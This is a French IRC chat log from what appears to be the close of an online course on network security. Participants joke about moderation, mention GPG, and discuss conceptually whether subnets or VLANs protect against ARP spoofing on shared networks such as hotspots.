22:27@FiFouille: Kabefis: je crois qu'ARP est agnostique
22:27 clems_Mod_push: m en fou moi c du firewall ke je fais
22:27@gapz: Bon bon, FiFouille si tu as d'autre chose a dire
22:27 illovae: pour les lecteurs des logs : "je ne connais pas ces gens, je hais la constitution et la liberté d'expression, je vous dirais tout ce que vous voulez"
22:27 Kabefis: :p
22:27 *illovae se met à plat ventre, bras dans le dos
22:27@gapz: On a pas vraiment eu le temps de parler de beaucoup de chose
22:27 CyD_: ben quoi on peut pas poser de question sans etre ban ?
22:27@FiFouille: ah oui, j'ai pas fini ma blague (humà
22:27 _Evil_: au fait, tcpflow on peut l'avoir où ?
22:27@gapz: mais le peux dont on a parler on l'a bien compris
22:27@FiFouille: CyD_: pose une question, on avisera :p
22:28@gapz: FiFouille: non mais je l'ai ban tout a l'heure
22:28 CyD_: ben j'en ai posé une plus tot
22:28@gapz: tu commencais a etre penible CyD_
22:28@FiFouille gapz: je sais bien
22:28@FiFouille: j'ai vu passer des histoires de subnet, ça m'avait pas l'air opportun sur le moment
22:28@FiFouille: maintenant qu'on a le temps, parlons-en
22:28:::
22:28 clems_Mod_push: cool
22:28 CyD_: ben le cours etais fini donc ou etais le probleme ?
22:28@gapz: et j'avais besoin de ma dose journalière CyD_
22:29 visor: manque plus qu'une vidéo et ça serait top :p
22:29@FiFouille: CyD_: c'est pas parce que je mute pas que c'est fini :p
22:29@FiFouille: oui tiens, sinon y'a un papier là http://vrac.fifi.be/docs/arp_spoofing.pdf
22:29@gapz: Bon FiFouille je te passe le relais si tu veux parler de la couche IP :)
22:29@gapz: moi je fais une petite pause
22:30 CyD_: ben j'avais lu plus haut que cté fini et qu'on pouvais poser des questions
22:30@gpocentek gapz, FiFouille, je propose de garder la couche IP pour une prochaine session éventuellement
22:30@FiFouille gapz: mouarf, merci pour l'impro totale ;)
22:31@gapz: FiFouille: :)
22:31@gapz: FiFouille: bah j'ai impro les 3/4 du cours ou tu as pas vue de c/c :P
22:31@FiFouille gapz: bon en même temps j'aurais su que j'aurais le net ici on aurait pu faire gpg, mais bon
22:31@FiFouille: des questions ou autre chose ?
22:31@FiFouille: tous convaincus que le chiffrement c'est l'avenir ?
22:32@gpocentek: of course \o/
22:32 illovae: bah quand ça sera moins flou pour moi tout ça, je me permettrai je pense
22:32 clems_Mod_push: oui
22:32@FiFouille gapz: t'as vu l'intro à gpg ... la classe hein ;)
22:32 clems_Mod_push: FiFouille: et les subnet ?
22:32 clems_Mod_push: :)
22:32 CyD_: t'ention tu vas etre bn :)
22:32@FiFouille: clems_Mod_push: oui ?
22:32@gapz: d'ailleur, une super doc sur la crypto dans les logiciels libres sera bientot en ligne
22:32@gapz: (dans quelques mois/années/...)
22:32@gapz: FiFouille: ;-)
22:32 *gapz spoile
22:32@FiFouille gapz: hahaha, siècles
22:32 *gpocentek félicite et remercie gapz pour le cours :)
22:32 clems_Mod_push: @FiFouille> maintenant qu'on a le temps, parlons-en
22:33:::
22:33@effraie: erf
22:33@gapz: FiFouille: bah c'est pas forcement une solution
22:33 CyD_: oaui mais c pê une blague hein
22:33@FiFouille: clems_Mod_push: oui, mais je dois dire quoi à propos des subnets ?
22:33:::
22:33:::
22:33 clems_Mod_push: ouip c vrai :(
22:33@gapz: clems_Mod_push: arp marche toujours entre le routeur et la machine concerné
22:33 CyD_: ben en subnettant de maniere a séparer chaque machine, en therorie elle ne communiquent pas entre elles
22:33 clems_Mod_push: il a etait mis a jour
22:33@gapz: certe, ca reduit de beaucoup le risque de spoofing
22:34 clems_Mod_push: mais je test le client firewall du coloc la
22:34@gapz: mais la mise en place d'un tel reseau est ultra merdique
22:34 clems_Mod_push: ya un ids
22:34@FiFouille: CyD_: faut séparer à la couche 2
22:34@FiFouille: CyD_: donc des VLANs ou un routeur par machine
22:34@gapz: des VLANs serait une solution
22:34@gapz: FiFouille: :)
22:34 clems_Mod_push: Vlan c bien mais amettre en place :(
22:34 CyD_: je demande car les hotspot ici sont comme ca
22:34@gapz: mais bon, des vlans pour empecher l'admin reseau de savoir qu'elle trompe son maris
22:34 CyD_: on sais tout sniffé en promisc
22:34@gapz: marie*
22:35@gapz: c'est pas vraiment utile
22:35 CyD_: mais pas communiquer en samba ou ping ou autre
22:35@FiFouille: CyD_: si t'as du wifi, forcément
22:35 illovae: CyD_: on sais tout sniffé en promisc >> haha
22:35 CyD_: je sais bien
22:35@FiFouille: mais pareil
22:35 CyD_: mais je me demande si on sais faire qque chose avec arp dans ces conditions la
22:35@FiFouille: tu peux avoir 5 réseaux différents sur un même médium physique (switché par exemple)
22:36@FiFouille: vu qu'on parle de la couche 2 on s'en -- --tape de savoir de quel réseau tu fais partie, tu moments que tu -- --peux broadcaster ton ARP